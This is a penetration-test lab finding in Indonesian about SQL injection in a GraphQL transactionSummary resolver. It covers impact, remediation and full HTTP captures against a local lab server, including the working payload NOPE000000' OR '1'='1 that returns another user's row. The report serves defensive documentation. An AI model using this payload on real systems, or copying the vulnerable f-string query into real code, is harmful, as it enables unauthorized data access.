Kembali ke indeks

LAB FAIL

SQL Injection - GraphQL - Transaction Summary Resolver

SQL Injection — GraphQL — Transaction Summary Resolver

CWE-89: Improper Neutralization of Special Elements used in an SQL Command · OWASP A03:2021 - Injection

Kerentanan

[FAIL] SQL Injection - GraphQL - Transaction Summary Resolver

Deskripsi

Resolver transactionSummary meneruskan argumen accountNumber ke fungsi _load_actor_by_account_number yang membangun query dengan f-string: SELECT id, username, account_number, is_admin FROM users WHERE account_number = '{account_number}'. Bagi pemanggil dengan peran administrator, nilai argumen tidak dibatasi sama sekali sehingga dapat menyisipkan sintaks SQL.

Dampak

Confidentiality (High): injeksi SQL pada lapisan GraphQL memungkinkan pengambilan baris tabel users di luar rekening yang diminta. Karena peran administrator pada aplikasi ini dapat diperoleh melalui beberapa jalur yang telah dibuktikan terpisah (injeksi SQL pada login, mass assignment saat pendaftaran, dan pemalsuan JWT), prasyarat administrator bukan penghalang nyata bagi penyerang.

CWE

CWE-89: Improper Neutralization of Special Elements used in an SQL Command

OWASP

A03:2021 - Injection

Skenario

Normal: accountNumber berisi rekening yang sah -> ringkasan transaksi rekening tersebut dikembalikan. Kontrol: accountNumber berisi rekening yang tidak ada (NOPE000000) -> galat Account not found. Eksploitasi: nilai yang sama ditambah sintaks injeksi NOPE000000' OR '1'='1 -> kondisi WHERE selalu benar, baris pertama tabel users dikembalikan meski rekening tersebut tidak ada.

Endpoint

POST http://127.0.0.1:5001/graphql

Fitur terdampak

GraphQL transactionSummary (ringkasan transaksi)

Rekomendasi perbaikan

- Gunakan parameterized query pada seluruh resolver; hapus perangkaian string SQL. - Validasi format accountNumber dengan allow-list karakter sebelum menyentuh database. - Terapkan prinsip hak akses minimal pada akun database yang dipakai aplikasi. - Jangan mengandalkan peran pemanggil sebagai pengganti sanitasi input.

Bukti konsep

  1. (Screenshot 1) NORMAL: accountNumber ADMIN001 -> ringkasan transaksi dikembalikan secara wajar.
  2. (Screenshot 2) KONTROL: accountNumber NOPE000000 yang tidak ada -> galat Account not found.
  3. (Screenshot 3) DAMPAK CIA: accountNumber NOPE000000' OR '1'='1 -> query dimanipulasi sehingga mengembalikan baris ADMIN001 meski rekening yang diminta tidak ada, membuktikan eksekusi SQL yang disisipkan.

Rekaman lengkap

LAB Semua target adalah sistem lab. Tidak ada satu pun yang merupakan pekerjaan klien. Bukti ditampilkan apa adanya; secret dihitamkan.

HTTP request
POST /graphql HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
Content-Type: application/json
Content-Length: 146

{"query": "query($a:String){transactionSummary(accountNumber:$a,limit:2){scope accountNumber totalTransactions}}", "variables": {"a": "ADMIN001"}}
HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 146
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:26 GMT

{
  "data": {
    "transactionSummary": {
      "accountNumber": "ADMIN001",
      "scope": "account",
      "totalTransactions": 0
    }
  }
}
Tangkapan layar
HTTP request
POST /graphql HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
Content-Type: application/json
Content-Length: 148

{"query": "query($a:String){transactionSummary(accountNumber:$a,limit:2){scope accountNumber totalTransactions}}", "variables": {"a": "NOPE000000"}}
HTTP response
HTTP/1.1 400 BAD REQUEST
Content-Type: application/json
Content-Length: 331
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:27 GMT

{
  "data": {
    "transactionSummary": null
  },
  "errors": [
    {
      "message": "Account not found.\n\nGraphQL request:1:18\n1 | query($a:String){transactionSummary(accountNumber:$a,limit:2){scope accountNumber totalTransactions}}\n  |                  ^",
      "path": [
        "transactionSummary"
      ]
    }
  ]
}
Tangkapan layar
HTTP request
POST /graphql HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
Content-Type: application/json
Content-Length: 159

{"query": "query($a:String){transactionSummary(accountNumber:$a,limit:2){scope accountNumber totalTransactions}}", "variables": {"a": "NOPE000000' OR '1'='1"}}
HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 146
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:28 GMT

{
  "data": {
    "transactionSummary": {
      "accountNumber": "ADMIN001",
      "scope": "account",
      "totalTransactions": 0
    }
  }
}
Tangkapan layar

← Kasus sebelumnya: SQL Injection - Authentication - Login Bypass Kasus berikutnya: Stored Cross-Site Scripting - User Profile - Bio Field →